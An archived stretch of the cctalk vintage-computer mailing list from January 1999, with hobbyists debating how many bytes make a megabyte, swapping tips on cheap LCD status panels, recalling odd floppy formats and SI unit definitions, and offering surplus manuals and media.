22 13:55:53 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:26 2005 Subject: The "megabyte" discussion In-Reply-To: References: Message-ID: <4.1.19990122114158.00a55720@mailhost.hq.freegate.com> At 11:14 AM 1/22/99 -0800, mostly Fred wrote: >Every previous time that I have ever ranted about 1.4M, people >have responded by quoting IBM or the disk box. THIS group responds with >arithmetic and logic. >BTW, FDISK.EXE uses 1048576 for Megabyte. I bought an IBM Deskstar hard disk that was rated at 810 Megabytes and it had a note inserted into the packaging that had, IIRC, this to say about it: Dear Customer, The disk you have purchased holds 810,549,248 bytes when it is formatted. Some programs will use the value of 1,048,576 bytes as the size of a megabyte and will show this disk as having only 773 "megabytes" of storage, other programs will use 1,024,000 bytes as the size of a megabyte and show the disk as having 791 or 792 megabytes. We don't understand it either, sorry for the confusion. IBM Support --Chuck From dastar at ncal.verio.com Fri Jan 22 14:02:08 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: The "megabyte" discussion In-Reply-To: <4.1.19990122114158.00a55720@mailhost.hq.freegate.com> Message-ID: On Fri, 22 Jan 1999, Chuck McManis wrote: > I bought an IBM Deskstar hard disk that was rated at 810 Megabytes and it > had a note inserted into the packaging that had, IIRC, this to say about it: > > Dear Customer, > The disk you have purchased holds 810,549,248 bytes when it > is formatted. Some programs will use the value of 1,048,576 bytes > as the size of a megabyte and will show this disk as having only > 773 "megabytes" of storage, other programs will use 1,024,000 bytes > as the size of a megabyte and show the disk as having 791 or 792 > megabytes. We don't understand it either, sorry for the confusion. > IBM Support I can hardly believe IBM would put that last sentence in any of their literature. Some jocular IBMers must've slipped that thru when the corporate exec wasn't looking. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From SUPRDAVE at aol.com Fri Jan 22 14:13:14 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:26 2005 Subject: The "megabyte" discussion Message-ID: In a message dated 1/22/99 3:03:37 PM EST, dastar@ncal.verio.com writes in repsonse to chuck mcmannis: > > I bought an IBM Deskstar hard disk that was rated at 810 Megabytes and it > > had a note inserted into the packaging that had, IIRC, this to say about > it: > > > > Dear Customer, > > The disk you have purchased holds 810,549,248 bytes when it > > is formatted. Some programs will use the value of 1,048,576 bytes > > as the size of a megabyte and will show this disk as having only > > 773 "megabytes" of storage, other programs will use 1,024,000 bytes > > as the size of a megabyte and show the disk as having 791 or 792 > > megabytes. We don't understand it either, sorry for the confusion. > > IBM Support > > I can hardly believe IBM would put that last sentence in any of their > literature. Some jocular IBMers must've slipped that thru when the > corporate exec wasn't looking. > well, you better believe that induhviduals can and do escalate up to corporate about things like this that they cannot or will not understand. hey, a little humour always helps the rank novice to get a clue. david From spc at armigeron.com Fri Jan 22 14:13:06 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901221835.SAA07966@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 22, 99 07:35:30 pm Message-ID: <199901222014.PAA02085@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 556 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/787f26b9/attachment.ksh From jfoust at threedee.com Fri Jan 22 14:21:40 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <4.1.19990121232536.00a293a0@208.226.86.10> References: <36A80964.8E0B2BC5@rain.org> Message-ID: <3.0.5.32.19990122142140.00d1f100@pc> At 11:26 PM 1/21/99 -0800, Chuck McManis wrote: >I want one of those LCD panels! Where can I find one? - John From lemay at cs.umn.edu Fri Jan 22 14:54:27 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:26 2005 Subject: manuals, mac software Message-ID: <199901222054.OAA01098@thorin.cs.umn.edu> Well, all this talk of supplies of old floppies got me to worrying a bit, so I obtained permission to grab a bunch of old manuals and floppy disks from work. Actually I'm rather annoyed, because a former employee came back and asked for the N-Cube computer, and was given permission to take it! Thats a multi-processor machine with hypercube data exchange links between processors.. Sigh.. and it looked kool too (we had christmas lights blinking inside its smokey front panel, and students would see it and be very impressed at all the computing that was being done!) Anyways, I grabbed a bunch of old disk drive manuals and disk drive controller manuals, from abnout the sun2/sun3 era. Rimfire controller manuals for SMD-E style drives, eagle (maybe double eagle) drive manuals, CDC Sabre drive manuals, Fujitsu drive manuals (i think these are probably 5.25" drives, but they were rackmounted in teh old days and were in very long cases). If there is any interest i can catalog all the names of this stuff. I also have a set of NeXT manuals. Might be version 1.0, might be 2.1 And I'll be grabbing approximately 800 3.5" DSDD floppy disks that currently have very old MacIntosh software on them. Mainly stuff like Word, Excel, etc.. If anyones interested in this, I can work on making a detailed list of the manuals or software. Perhaps I could trade the manuals for something interesting. -Lawrence LeMay From erd at infinet.com Fri Jan 22 14:51:39 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <3.0.5.32.19990122142140.00d1f100@pc> from "John Foust" at Jan 22, 99 02:21:40 pm Message-ID: <199901222051.PAA23859@user2.infinet.com> > > At 11:26 PM 1/21/99 -0800, Chuck McManis wrote: > >I want one of those LCD panels! Where can I find one? > > Those are very nice. For the cheap bastards on the list, I have been working with the PICanLCD from B. G. Micro. I got a 4x20 LCD from them for $9, the PICanLCD chip for ~$12, and the ready-to-go PCB for ~$12. You don't get a back light, it's not preassembled and features like bar graphs are not done in firmware, but you can display the same information at less than half the cost, if you do your own assembly work. I have submitted code for lcdproc-0.3.4 (to be known as 0.3.4.4 when it is released) and am working on code for lcdproc-0.4pre2. My LCD web page is at http://www.infinet.com/~erd/lcd/ For the really cheap who don't care if the LCD panel soaks up more cycles, you can drive a panel from any sort of parallel port (even a PET!) Support is already in place with lcdproc-0.3.4. You need four bits for data, eight if you are worried about bandwidth and have bits to spare, and three bits for control. If you don't know which end of a soldering iron to pick up, go to linuxcentral. Enjoy, -ethan P.S. Any interest in LCD code for the 6502? From cmcmanis at freegate.com Fri Jan 22 15:10:10 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:26 2005 Subject: LCD displays (was something else) In-Reply-To: <3.0.5.32.19990122142140.00d1f100@pc> References: <4.1.19990121232536.00a293a0@208.226.86.10> Message-ID: <4.1.19990122130809.00adbdb0@mailhost.hq.freegate.com> Yup, I found 'em. Waaaay overpriced. I'm going to build one, I expect it will cost about $20 in parts. Looking at my favorite LCD suppliers I find that one could actually put a 640 x 200 LCD in a two high bay these days which would give you a full console view if you wanted it. Intriguing idea but somewhat more expensive. --Chuck At 02:21 PM 1/22/99 -0600, you wrote: >At 11:26 PM 1/21/99 -0800, Chuck McManis wrote: >>I want one of those LCD panels! Where can I find one? > > > >- John > From ckaiser at oa.ptloma.edu Fri Jan 22 15:27:37 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <199901222051.PAA23859@user2.infinet.com> from "Ethan Dicks" at Jan 22, 99 03:51:39 pm Message-ID: <199901222127.NAA18026@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 488 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/52b1cbae/attachment.ksh From ckaiser at oa.ptloma.edu Fri Jan 22 15:28:49 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901222014.PAA02085@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 22, 99 03:13:06 pm Message-ID: <199901222128.NAA17990@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 678 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/aa8e19b1/attachment.ksh From cisin at xenosoft.com Fri Jan 22 15:25:36 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <36A80964.8E0B2BC5@rain.org> Message-ID: On Thu, 21 Jan 1999, Marvin wrote: > IIRC, the Everex had a similar front panel that would display the post codes > and the CPU speed, at least for the 286. I have one in the garage that > didn't head for the metal scrap because of that. One of these days, I'll > have to actually check it out :). Also a 386SX. FSOT -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cswiger at wilma.widomaker.com Fri Jan 22 15:28:29 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:26 2005 Subject: WooHoo!! PC/XT Unix anyone? Message-ID: Spotted this in a Linuxtoday.com article on the latest linux kernel: "On somewhat of a tangent, there is continuing work to support a subset of the Linux kernel on 8086, 8088, 80186, and 80286 machines. This project will never integrate itself with Linux-proper but will provide an alternative Linux-subset operating system for these machines. " Hmmm, I do have *a* 'C' compiler running on one of those Compaq luggables... Chuck cswiger@widomaker.com From cisin at xenosoft.com Fri Jan 22 15:30:29 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <9901220027.ZM3508@indy.dunnington.u-net.com> Message-ID: On Fri, 22 Jan 1999, Pete Turnbull wrote: > > > Don't forget that '720K' 5.25" disks also exist, although they're not > > > common on IBM PCs. By that I mean 80 track, double density, double > sided, > > > 300 oersted coercivity. Most of those do not have the reinforcing ring > IIRC. > And they're pretty common on non-MSDOS systems. I far more 80-track DS > drives than 40-track of any flavour. How many know about the IBM PC-JX? It had 5.25" 720K drives! Never sold in the U.S., just Japan and Australia? > There are also 2.5" disks, though the only ones I've seen were made by TDK > for an early digital camera. Anyone remember the make? Canon? I think that they may have been Zenith. In my original message that started this thread, I explicitly asked if anyone had any available. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From george at racsys.rt.rain.com Fri Jan 22 15:51:15 1999 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited (Everex?) In-Reply-To: Message-ID: Didn't the Everex (or am I thinking of something else) have a status panel for serial/parellel ports? George ========================================================= George L. Rachor george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Fri, 22 Jan 1999, Fred Cisin (XenoSoft) wrote: > On Thu, 21 Jan 1999, Marvin wrote: > > IIRC, the Everex had a similar front panel that would display the post codes > > and the CPU speed, at least for the 286. I have one in the garage that > > didn't head for the metal scrap because of that. One of these days, I'll > > have to actually check it out :). > > Also a 386SX. > FSOT > > > -- > Fred Cisin cisin@xenosoft.com > XenoSoft http://www.xenosoft.com > 2210 Sixth St. (510) 644-9366 > Berkeley, CA 94710-2219 > > From doug at blinkenlights.com Fri Jan 22 15:34:16 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <199901222051.PAA23859@user2.infinet.com> Message-ID: On Fri, 22 Jan 1999, Ethan Dicks wrote: > Those are very nice. For the cheap bastards on the list, I have been working > with the PICanLCD from B. G. Micro. I got a 4x20 LCD from them for $9, > the PICanLCD chip for ~$12, and the ready-to-go PCB for ~$12. And for the cheap but practical, just buy an old laptop for $20, and you can use it as a CPU meter, dedicated FAX, whatever.... -- Doug From dastar at ncal.verio.com Fri Jan 22 16:27:01 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Fred Cisin (XenoSoft) wrote: > How many know about the IBM PC-JX? It had 5.25" 720K drives! > Never sold in the U.S., just Japan and Australia? Its been mentioned on this list a couple times before. At least one person here (or who was here) had one. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Fri Jan 22 16:28:51 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Doug wrote: > On Fri, 22 Jan 1999, Ethan Dicks wrote: > > > Those are very nice. For the cheap bastards on the list, I have been working > > with the PICanLCD from B. G. Micro. I got a 4x20 LCD from them for $9, > > the PICanLCD chip for ~$12, and the ready-to-go PCB for ~$12. > > And for the cheap but practical, just buy an old laptop for $20, and you > can use it as a CPU meter, dedicated FAX, whatever.... I saw two Toshiba 1000E laptops at a thrift store today. $9.98 each. Nice shape. No idea of working condition and they don't come with power supplies. But a nice little unit for homebrew stuff, and they were definitely nice designs for their time (somewhere around 1987 I would guess). Anyone want me to grab one or both? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From erd at infinet.com Fri Jan 22 16:47:41 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:26 2005 Subject: LCD displays (was something else) In-Reply-To: <4.1.19990122130809.00adbdb0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 22, 99 01:10:10 pm Message-ID: <199901222247.RAA25612@user2.infinet.com> > > Yup, I found 'em. Waaaay overpriced. I'm going to build one, I expect it > will cost about $20 in parts. To drive an HD44780-based display over a parallel port, that's about right, less if you've got cables and connectors and stuff lying around. > Looking at my favorite LCD suppliers I find that one could actually put > a 640 x 200 LCD in a two high bay these days which would give you a full > console view if you wanted it. Intriguing idea but somewhat more expensive. Some friends of mine and I are working on such a device. We are considering various features like an LED bargraph, buttons and a pixel-addressable LCD. Visit http://www.infinet.com/~erd/lcd/ and when something is likely to see the light of day. At some point here, I will post some code to that same web page for the 6502. -ethan From ard at p850ug1.demon.co.uk Fri Jan 22 12:57:52 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Ward D. Griffiths III" at Jan 21, 99 11:09:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1083 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/9267c7dd/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:09:15 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <199901220432.AA17098@world.std.com> from "Megan" at Jan 21, 99 11:32:11 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1398 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/52caa3d8/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:11:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Sam Ismail" at Jan 21, 99 09:07:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 539 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/25e06d5f/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:20:01 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Linux and 8" diskettes? In-Reply-To: from "David Wollmann" at Jan 22, 99 01:22:21 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1597 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/ecd668e8/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:30:12 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Sam Ismail" at Jan 22, 99 01:11:54 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 812 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/63981e79/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:34:51 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <01be461e$ec6110a0$01bfbfbf@toshiba-115cs> from "PG Manney" at Jan 22, 99 10:50:23 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 804 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/99dbbb88/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 13:48:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901221816.SAA07572@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 22, 99 07:16:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2283 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/64b96ebb/attachment.ksh From pete at dunnington.u-net.com Fri Jan 22 16:54:43 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: Max Eskin "Re: OT: Alien Media (was Disasters and Recovery)" (Jan 22, 12:57) References: <80256701.0047D33C.00@WESTD90.pgen.co.uk> <36A8BC13.77AD4870@bigfoot.com> Message-ID: <9901222254.ZM4818@indy.dunnington.u-net.com> On Jan 22, 12:57, Max Eskin wrote: > Subject: Re: OT: Alien Media (was Disasters and Recovery) > Philip.Belben@pgen.com wrote: > > Metre, Kilogram, Second, Ampere, Kelvin, Mole and Candela (normally > > Kilogram? Why not gram? The whole system is based on units that are matched to each other in such a way that the constants involved in relating units to other units work out to unity. So the kilogram just happens to be a handier quantity than a gram, and saves a lot of dividing or multiplying by 1000. Except, of course, in real life, where units are rarely handy sizes at all :-) On Jan 22, 13:28, Cameron Kaiser wrote: > Subject: Re: OT: Alien Media (was Disasters and Recovery) > :: Uh, I thought a gram was defined as 1 cc of water at 4C. A kilogram is > ::1,000 cc of water at 4C, which is one litre of water (a litre being 1,000 cc > ::volume). > > The original kilo is a big lump of metal in a bell jar, when the kilogram > was introduced as a standard. It was originally intended to be a cubic decimetre of water at it's maximum density. Unfortunatley, that turned out to be 28 ppm to large -- the constants I mentioned above don't quite work out to unity. So it was changed to an arbitrary amount to suit -- and the litre was defined as the volume of water that had that mass at it's maximum density. Hence a litre was actually 1000.028 cm^3. Since that just moves the "obviously silly" constant to a different place in the scheme, it was redefined later to be exactly 1000 cm^3, but with the recommendation that it not be used for work of high accuracy. Hmmm.... and we thought IBM were having trouble with the megamaths. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Fri Jan 22 16:51:17 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:26 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: "Hans Franke" "Re: OT: Alien Media (was Disasters and Recovery)" (Jan 22, 19:16) References: <802566FF.00594B60.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 20 99 04:17:57 pm <199901221816.SAA07572@nixpbe.pdb.sni.de> Message-ID: <9901222251.ZM4814@indy.dunnington.u-net.com> On Jan 22, 19:16, Hans Franke wrote: > Subject: Re: OT: Alien Media (was Disasters and Recovery) > Excuse me if I interupt, but you are talking about measuring > a specific voltage. But thats completly independant from the > definition. Only if you want to define Volt based on some > specific reproduceable effect - but thats not necesaty. To > get all electrical units you just need the 7 basic SI units > (Length, Weight, Time, Current, Temperature, Brightnes (?) > and Mol (sorry, no idea how to translate Stoffmasse)) and length metre m mass kilogram kg time second s electric current ampere A thermodynamic temperature kelvin K luminous intensity candela cd amount of substance mole mol > only one is an electric unit (the Ampere). And only these > 7 units have to be defined on specific, reproducable effects. > 1V is defined as 1 kg m^2 / A s^2. As Hans implies, all other units are derived from these seven (and the two angular measures). But the volt is defined as kg m^2 / (A s^3) -- Hans lost a "per second" (Hertzlos, I suppose ;-). -- Pete Peter Turnbull Dept. of Computer Science University of York From wirehead at retrocomputing.com Fri Jan 22 16:54:32 1999 From: wirehead at retrocomputing.com (Wirehead Prime) Date: Sun Feb 27 18:40:26 2005 Subject: manuals, mac software In-Reply-To: <199901222054.OAA01098@thorin.cs.umn.edu> Message-ID: > disks from work. Actually I'm rather annoyed, because a former employee > came back and asked for the N-Cube computer, and was given permission to > take it! Thats a multi-processor machine with hypercube data exchange links > between processors.. Sigh.. and it looked kool too (we had christmas lights > blinking inside its smokey front panel, and students would see it and be > very impressed at all the computing that was being done!) Hmmm... I have a manilla envelope that was sent to me in 1988 or 1989 containing a Macintosh 800k floppy and some documentation from a gentleman named Alex Ho. That's not the interesting part. The interesting part is that it contains source and docs for a Macintosh based hypercube using localtalk to connect the nodes. It contains a letter from the Concurrent Computation Program at the California Institute of Technology addressed to me that reads: Enclosed please find C3P 253b, C3P 582, C3P 573, and a Macintosh diskette which contains the Mac-Cube software package. It includes source, binary, documentation, and installation notes... Never got around to using it though. I do have 3 or 4 SEs, 2 LC class machines and a pair of IIci's I could try it out with though. =-) Anthony Clifton - Wirehead From sinasohn at ricochet.net Fri Jan 22 17:13:21 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited Message-ID: <3.0.16.19990122005347.3c8fc170@ricochet.net> At 01:01 AM 1/22/99 -0600, you wrote: >I wonder if it could marquee "I wish I were an Alpha."? Just a thought. I wish I were an Alpha brand computer, and not a cheap taiwanese pc. cuz if I were an Alpha powered server, I would not be stuck with WinNT. Sorry, couldn't resist. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From roblwill at usaor.net Fri Jan 22 20:05:26 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:26 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <01be4674$d7f71f00$688ea6d1@the-general> Every computer that I've ever owned, When it does a memory test of "1 megabyte", the listing is always 1024KB......OK. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Friday, January 22, 1999 2:58 PM Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes >> Find me an authoritative reference that defines a megabyte as 1024 * 1024 >> bytes and I'll eat a pancake. > >I don't know how 'authoritative' you need, but will an IBM TechRef do? > >The PC/AT one that I've just picked up says : > > >M (1) Prefix mega; 1,000,000. (2) When refering to computer storage >capacity, 1,048,576 (1,048,576= 2 to the 20th power) > >Also >Mb 1,048,576 bytes. > >Incidentaly, it also defines > >Gb 1,073,741,824 bytes (=2^30 ARD) > >Can you find a reference (other than an advert :-)) that defines it any >other way? > >Anyway, I might accept that 1Mbyte = 10^6 bytes, particularly if you >happen to have a decimal or BCD machine :-) (this is classiccmp). But I >don't see any justification for making it 1024000 bytes. And that's the >only way you can have '1.44Mbytes' on a HD 3.5" disk > >-tony > > From ckaiser at oa.ptloma.edu Fri Jan 22 17:23:55 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:26 2005 Subject: PC's Limited In-Reply-To: <3.0.16.19990122005347.3c8fc170@ricochet.net> from "Uncle Roger" at Jan 22, 99 05:13:21 pm Message-ID: <199901222323.PAA10344@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 615 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/6b3be4cb/attachment.ksh From ckaiser at oa.ptloma.edu Fri Jan 22 17:28:28 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:26 2005 Subject: WooHoo!! PC/XT Unix anyone? In-Reply-To: from "cswiger" at Jan 22, 99 04:28:29 pm Message-ID: <199901222328.PAA18326@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 725 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/df807b76/attachment.ksh From doug at blinkenlights.com Fri Jan 22 17:30:07 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:27 2005 Subject: manuals, mac software In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Wirehead Prime wrote: > That's not the interesting part. The interesting part is that it > contains source and docs for a Macintosh based hypercube using localtalk > to connect the nodes. It contains a letter from the Concurrent > Computation Program at the California Institute of Technology addressed If you ever get around to making copies, I'd like one. I don't know if the N-Cube work was directly related, but Intel's iPSC/1 sure was. I still have a Unix version (somewhere on tape) of the Intel hypercube simulator that includes some of the original Cosmic Cube code from Caltech. -- Doug From cmcmanis at freegate.com Fri Jan 22 17:34:55 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:27 2005 Subject: PC's Limited In-Reply-To: <3.0.16.19990122005347.3c8fc170@ricochet.net> Message-ID: <4.1.19990122153230.00a0f7b0@mailhost.hq.freegate.com> Shouldn't this be: Oh, I wish I were an Alpha powered micro, That is what I truely want to be, 'cuz if I were an Alpha powered micro, Linus would have made a port for me. At 05:13 PM 1/22/99 -0600, you wrote: >At 01:01 AM 1/22/99 -0600, you wrote: >>I wonder if it could marquee "I wish I were an Alpha."? Just a thought. > >I wish I were an Alpha brand computer, >and not a cheap taiwanese pc. >cuz if I were an Alpha powered server, >I would not be stuck with WinNT. > >Sorry, couldn't resist. > > >--------------------------------------------------------------------- O- > >Uncle Roger "There is pleasure pure in being mad >roger@sinasohn.com that none but madmen know." >Roger Louis Sinasohn & Associates >San Francisco, California http://www.sinasohn.com/ > From allisonp at world.std.com Fri Jan 22 17:47:18 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:27 2005 Subject: Bubble Memeory was Re: eBay Finds (was: Ebay Posts was...) Message-ID: <199901222347.AA25439@world.std.com> References: from "Sam Ismail" at Jan 22, 99 01:11:54 am Message-ID: > M (1) Prefix mega; 1,000,000. (2) When refering to computer storage > capacity, 1,048,576 (1,048,576= 2 to the 20th power) > > Also > Mb 1,048,576 bytes. > > Incidentaly, it also defines > > Gb 1,073,741,824 bytes (=2^30 ARD) Just on a side note, I always thought that the proper way to state the abbreviations were MB and GB _not_ Mb and Gb. With the caps B meaning Byte and the little b meaning bit. So 8Mb would be 8 MegaBits while 8MB would be 8MegaBytes, ethernet would be 10Mbps while fast SCSI is 10MBps (slight difference). George From jrice at texoma.net Fri Jan 22 18:19:09 1999 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:40:27 2005 Subject: C-10 Certified leaderless cassettes References: <01be4606$c3190ee0$e8c962cf@devlaptop> Message-ID: <36A9157D.E72718FB@texoma.net> At First Saturday Sale in Dallas, there is a guy who sells large lots from Tandy Surplus. I bought a case of 125 C-10's for $2.00. Last time I was down there, he was still selling them for that. I also bought several Tandy 20mb hard cards still sealed in the box for $5.00 ea. He also hjad several of them let as I recall. Mike wrote: > > I cleaned out the local Radio Shack Liquidation Center of all their computer > cassettes. At a nice price of 12cents each I bagged well over a hundred... > So, if anyone is really ruffing it and could use some ust let me know. > > - Mike: dogas@leading.net From ard at p850ug1.demon.co.uk Fri Jan 22 17:56:00 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:27 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Sam Ismail" at Jan 22, 99 11:36:20 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 483 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990122/6fbd9923/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 18:18:34 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "George Currie" at Jan 22, 99 05:58:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 550 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/a2f6d4a2/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 22 18:20:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <01be4674$d7f71f00$688ea6d1@the-general> from "Jason Willgruber" at Jan 22, 99 06:05:26 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 369 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/fe9de8eb/attachment.ksh From roblwill at usaor.net Fri Jan 22 22:43:23 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 